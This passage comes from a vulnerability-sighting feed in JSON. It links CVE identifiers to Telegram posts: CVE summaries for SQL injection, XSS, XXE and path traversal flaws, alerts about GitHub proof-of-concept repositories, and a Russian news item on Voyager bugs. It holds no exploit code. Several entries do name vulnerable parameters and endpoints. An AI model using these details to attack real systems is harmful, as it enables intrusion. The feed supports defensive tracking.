"CVE-2024-55661", "type": "published-proof-of-concept", "source": "Telegram/zNiXDuAdWj1sUxxVU5JjhobD5YqZbFR_XafKNg2cvfA4J_I", "content": "", "creation_timestamp": "2025-09-10T09:39:11.000000Z"}, {"uuid": "d2d71fdf-6f37-4b85-9111-65f651d5dd6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55199", "type": "seen", "source": "https://t.me/cvedetector/19976", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55199 - Celk Sistemas Celk Saude Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-55199 \nPublished : March 10, 2025, 6:15 p.m. | 1\u00a0hour, 7\u00a0minutes ago \nDescription : A Stored Cross Site Scripting (XSS) vulnerability in Celk Sistemas Celk Saude v.3.1.252.1 allows a remote attacker to store JavaScript code inside a PDF file through the file upload feature. When the file is rendered, the injected code is executed on the user's browser. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-10T20:43:06.000000Z"}, {"uuid": "352d5aef-d9fb-4e8b-a6bc-20d14dbb0709", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://t.me/brutsecurity_poc/55", "content": "CVE-2024-55550 POC", "creation_timestamp": "2025-06-05T10:39:51.000000Z"}, {"uuid": "61a81bdb-0d97-409c-8335-e8507bde8f6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55898", "type": "seen", "source": "https://t.me/cvedetector/18771", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55898 - IBM i Unqualified Library Call Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55898 \nPublished : Feb. 24, 2025, 2:15 a.m. | 25\u00a0minutes ago \nDescription : IBM i 7.2, 7.3, 7.4, and 7.5 could allow a user with the capability to compile or restore a program to gain elevated privileges due to an unqualified library call. A malicious actor could cause user-controlled code to run with administrator privilege. \nSeverity: 8.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T03:44:41.000000Z"}, {"uuid": "49797c29-a1c5-4a3f-948e-fef359ebdebe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55557", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9373", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-55557\nURL\uff1ahttps://github.com/partywavesec/CVE-2024-55557\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-10T20:40:32.000000Z"}, {"uuid": "52e1124c-7437-43a8-a7b2-ceec621d03d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55968", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9472", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aExploit POC Code for CVE-2024-55968\nURL\uff1ahttps://github.com/Wi1DN00B/CVE-2024-55968\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-17T21:16:24.000000Z"}, {"uuid": "07a1ad9d-4ed1-4aae-97ce-41ec74e13694", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55159", "type": "seen", "source": "https://t.me/cvedetector/18670", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55159 - GFast SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55159 \nPublished : Feb. 21, 2025, 6:15 p.m. | 23\u00a0minutes ago \nDescription : GFast between v2 to v3.2 was discovered to contain a SQL injection vulnerability via the SortName parameter at /system/loginLog/list. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-21T19:46:42.000000Z"}, {"uuid": "539584af-6567-4360-82ba-43f1aca0b87e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55156", "type": "seen", "source": "https://t.me/cvedetector/18669", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55156 - Apache CloudEvents Java SDK XXE Injection\", \n  \"Content\": \"CVE ID : CVE-2024-55156 \nPublished : Feb. 21, 2025, 6:15 p.m. | 23\u00a0minutes ago \nDescription : An XML External Entity (XXE) vulnerability in the deserializeArgs() method of Java SDK for CloudEvents v4.0.1 allows attackers to access sensitive information via supplying a crafted XML-formatted event message. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-21T19:46:41.000000Z"}, {"uuid": "2fca7891-d026-4c68-8555-f107272ac167", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55457", "type": "seen", "source": "https://t.me/cvedetector/18591", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55457 - MasterSAM Star Gate Directory Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55457 \nPublished : Feb. 20, 2025, 6:15 p.m. | 1\u00a0hour, 21\u00a0minutes ago \nDescription : MasterSAM Star Gate 11 is vulnerable to directory traversal via /adama/adama/downloadService. An attacker can exploit this vulnerability by manipulating the file parameter to access arbitrary files on the server, potentially exposing sensitive information. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-20T20:41:25.000000Z"}, {"uuid": "9adb993c-f1fd-428c-8017-c9bf580106bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "exploited", "source": "https://t.me/cKure/14320", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 CVE-2024-55591: Fortinet warns of new zero-day exploited to hijack firewalls.\n\nhttps://www.bleepingcomputer.com/news/security/fortinet-warns-of-new-zero-day-exploited-to-hijack-firewalls/", "creation_timestamp": "2025-02-14T13:28:04.000000Z"}, {"uuid": "32c1b9f1-2ada-42ae-b37c-9899d923ef70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8654", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aA PoC exploit scanner for CVE-2024-5522 vulnerability in WordPress websites\nURL\uff1ahttps://github.com/geniuszlyy/CVE-2024-5522\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-10-01T16:06:01.000000Z"}, {"uuid": "96216128-eee8-4ed5-aab7-44b84bcd3fd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55460", "type": "seen", "source": "https://t.me/cvedetector/18334", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55460 - BoardRoom Limited Dividend Distribution Tax Election System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-55460 \nPublished : Feb. 18, 2025, 5:15 p.m. | 30\u00a0minutes ago \nDescription : A time-based SQL injection vulnerability in the login page of BoardRoom Limited Dividend Distribution Tax Election System Version v2.0 allows attackers to execute arbitrary code via a crafted input. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-18T19:19:16.000000Z"}, {"uuid": "ced15105-4741-46ce-9956-52e435935a8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5528", "type": "seen", "source": "https://t.me/cvedetector/17277", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5528 - GitLab Pages Subdomain Takeover Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5528 \nPublished : Feb. 5, 2025, 11:15 a.m. | 36\u00a0minutes ago \nDescription : An issue was discovered in GitLab CE/EE affecting all versions prior to 16.11.6, starting from 17.0 prior to 17.0.4, and starting from 17.1 prior to 17.1.2, which allows a subdomain takeover in GitLab Pages. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-05T13:17:46.000000Z"}, {"uuid": "f6442970-fd40-42e8-83a4-e41f8d770408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55948", "type": "seen", "source": "https://t.me/cvedetector/17249", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55948 - Discourse Anonymous Cache Poisoning\", \n  \"Content\": \"CVE ID : CVE-2024-55948 \nPublished : Feb. 4, 2025, 9:15 p.m. | 2\u00a0hours, 7\u00a0minutes ago \nDescription : Discourse is an open source platform for community discussion. In affected versions an attacker can make craft an XHR request to poison the anonymous cache (for example, the cache may have a response with missing  preloaded data). This issue only affects anonymous visitors of the site. This problem has been patched in the latest version of Discourse. Users are advised to upgrade. Users unable to upgrade should disable anonymous cache by setting the `DISCOURSE_DISABLE_ANON_CACHE` environment variable to a non-empty value. \nSeverity: 8.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-05T00:45:51.000000Z"}, {"uuid": "f74eedee-1e46-472b-b779-33ce4d9a63bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "published-proof-of-concept", "source": "Telegram/ziOVGRU4cKcimSIJ_E6PMSYJvnmBXzqpvenCO7rqIs6XBvg", "content": "", "creation_timestamp": "2025-07-06T15:00:06.000000Z"}, {"uuid": "7ac653fe-3c93-415b-9fef-fb91229d66ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55875", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9404", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-55875 | GHSA-7mj5-hjjj-8rgw | http4k first CVE\nURL\uff1ahttps://github.com/JAckLosingHeart/CVE-2024-55875\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-13T06:30:07.000000Z"}, {"uuid": "25551f08-4c8a-4fa9-81e2-fb7345706002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55160", "type": "seen", "source": "https://t.me/cvedetector/19074", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55160 - GFast SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55160 \nPublished : Feb. 27, 2025, 9:15 p.m. | 21\u00a0minutes ago \nDescription : GFast between v2 to v3.2 was discovered to contain a SQL injection vulnerability via the OrderBy parameter at /system/operLog/list. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T23:26:46.000000Z"}, {"uuid": "7ef6bb71-91d7-401f-87d3-915dd8273a64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55581", "type": "seen", "source": "https://t.me/cvedetector/18962", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55581 - AdaCore Ada Web Server TLS Certificate Verification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55581 \nPublished : Feb. 26, 2025, 10:15 p.m. | 33\u00a0minutes ago \nDescription : When AdaCore Ada Web Server 25.0.0 is linked with GnuTLS, the default behaviour of AWS.Client is vulnerable to a man-in-the-middle attack because of lack of verification of an HTTPS server's certificate (unless the using program specifies a TLS configuration). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T00:19:23.000000Z"}, {"uuid": "5bad1769-422b-49e1-9f76-0a368ee68296", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55212", "type": "seen", "source": "https://t.me/cvedetector/17788", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55212 - DNNGo xBlog SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-55212 \nPublished : Feb. 11, 2025, 10:15 p.m. | 2\u00a0hours, 7\u00a0minutes ago \nDescription : DNNGo xBlog v6.5.0 was discovered to contain a SQL injection vulnerability via the Categorys parameter at /DNNGo_xBlog/Resource_Service.aspx. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T01:48:39.000000Z"}, {"uuid": "7734af0c-1ebf-46cc-8209-242748f3b82d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55272", "type": "seen", "source": "https://t.me/cvedetector/17524", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55272 - Brainasoft Braina Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55272 \nPublished : Feb. 7, 2025, 10:15 p.m. | 1\u00a0hour, 10\u00a0minutes ago \nDescription : An issue in Brainasoft Braina v2.8 allows a remote attacker to obtain sensitive information via the chat window function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-08T00:41:47.000000Z"}, {"uuid": "d2407795-ae08-4e50-90c7-6664d599a0e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55215", "type": "seen", "source": "https://t.me/cvedetector/17523", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55215 - Apache Trojan Privilege Escalation Remote Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55215 \nPublished : Feb. 7, 2025, 10:15 p.m. | 1\u00a0hour, 10\u00a0minutes ago \nDescription : An issue in trojan v.2.0.0 through v.2.15.3 allows a remote attacker to escalate privileges via the initialization interface /auth/register. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-08T00:41:46.000000Z"}, {"uuid": "599be391-a190-45d8-9b08-43d252b0ae43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55630", "type": "seen", "source": "https://t.me/cvedetector/17533", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55630 - Joplin XPath Injection Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-55630 \nPublished : Feb. 7, 2025, 11:15 p.m. | 2\u00a0hours, 19\u00a0minutes ago \nDescription : Joplin is a free, open source note taking and to-do application, which can handle a large number of notes organised into notebooks. Joplin's HTML sanitizer allows the `name` attribute to be specified. If `name` is set to the same value as an existing `document` property (e.g. `querySelector`), that property is replaced with the element. This vulnerability's only known impact is denial of service. The note viewer fails to refresh until closed and re-opened with a different note. This issue has been addressed in version 3.2.8 and all users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 3.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-08T03:12:11.000000Z"}, {"uuid": "1b0da1f2-3955-4ec0-8ac1-97351998aee4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55214", "type": "seen", "source": "https://t.me/cvedetector/17500", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55214 - DhtmlxFileExplorer Remote File Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-55214 \nPublished : Feb. 7, 2025, 4:15 p.m. | 59\u00a0minutes ago \nDescription : Local File Inclusion vulnerability in dhtmlxFileExplorer v.8.4.6 allows a remote attacker to obtain sensitive information via the file download functionality. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-07T18:50:17.000000Z"}, {"uuid": "4b81850a-5644-4a79-97ae-0936d2e3096e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55213", "type": "seen", "source": "https://t.me/cvedetector/17499", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55213 - dhtmlxFileExplorer Path Traversal\", \n  \"Content\": \"CVE ID : CVE-2024-55213 \nPublished : Feb. 7, 2025, 4:15 p.m. | 59\u00a0minutes ago \nDescription : Directory Traversal vulnerability in dhtmlxFileExplorer v.8.4.6 allows a remote attacker to obtain sensitive information via the File Listing function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-07T18:50:16.000000Z"}, {"uuid": "dde362f1-01fe-44bf-ace3-4fd57a06c162", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55241", "type": "seen", "source": "https://t.me/cvedetector/17436", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55241 - Deep-Diver LLM-As-Chatbot Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55241 \nPublished : Feb. 6, 2025, 10:15 p.m. | 29\u00a0minutes ago \nDescription : An issue in deep-diver LLM-As-Chatbot before commit 99c2c03 allows a remote attacker to execute arbitrary code via the modelsbyom.py component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-07T00:25:58.000000Z"}, {"uuid": "353a8f5d-6e5f-4e50-afe2-2bb5da6a3d69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55415", "type": "seen", "source": "https://t.me/itsec_news/5274", "content": "\u200b\u26a1\ufe0f\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 0day-\u0431\u0440\u0435\u0448\u0438 \u0432 Voyager: \u0443\u0433\u0440\u043e\u0437\u0430 \u0446\u0435\u043f\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432\n\n\ud83d\udcac \u041e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 PHP-\u043f\u0430\u043a\u0435\u0442 Voyager \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0441\u044f \u0441 \u0442\u0440\u0435\u043c\u044f \u043e\u043f\u0430\u0441\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u043e\u0434\u043d\u0438\u043c \u043d\u0430\u0436\u0430\u0442\u0438\u0435\u043c. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Sonar \u043f\u043e \u0438\u043c\u0435\u043d\u0438 \u042f\u043d\u0438\u0432 \u041d\u0438\u0437\u0440\u0438 \u043e\u0431\u0440\u0430\u0442\u0438\u043b \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u0432\u043b\u0438\u044f\u044e\u0449\u0438\u0435 \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430 \u043c\u043e\u0434\u0443\u043b\u044c, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0439 \u0437\u0430 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043d\u0435\u043b\u0438.\n\n\u041f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 Voyager \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043a\u043b\u0438\u043a\u043d\u0443\u0442\u044c \u043f\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0435 \u2014 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434, \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u0434 \u043e\u0431\u044b\u0447\u043d\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0432\u0438\u0434\u0435\u043e. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u044e\u0442\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432 \u043f\u043e\u043b\u0438\u0433\u043b\u043e\u0442-\u0444\u0430\u0439\u043b\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u043e, \u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 PHP-\u043a\u043e\u0434.\n\n\u041d\u0430\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b CVE-2024-55417 , CVE-2024-55416 \u0438 CVE-2024-55415 . \u041f\u0435\u0440\u0432\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0431\u0445\u043e\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 MIME-\u0442\u0438\u043f\u043e\u0432 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438. \u0412\u0442\u043e\u0440\u0430\u044f \u0434\u0430\u0451\u0442 \u0448\u0430\u043d\u0441 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c JavaScript, \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c Voyager \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u0442 \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e 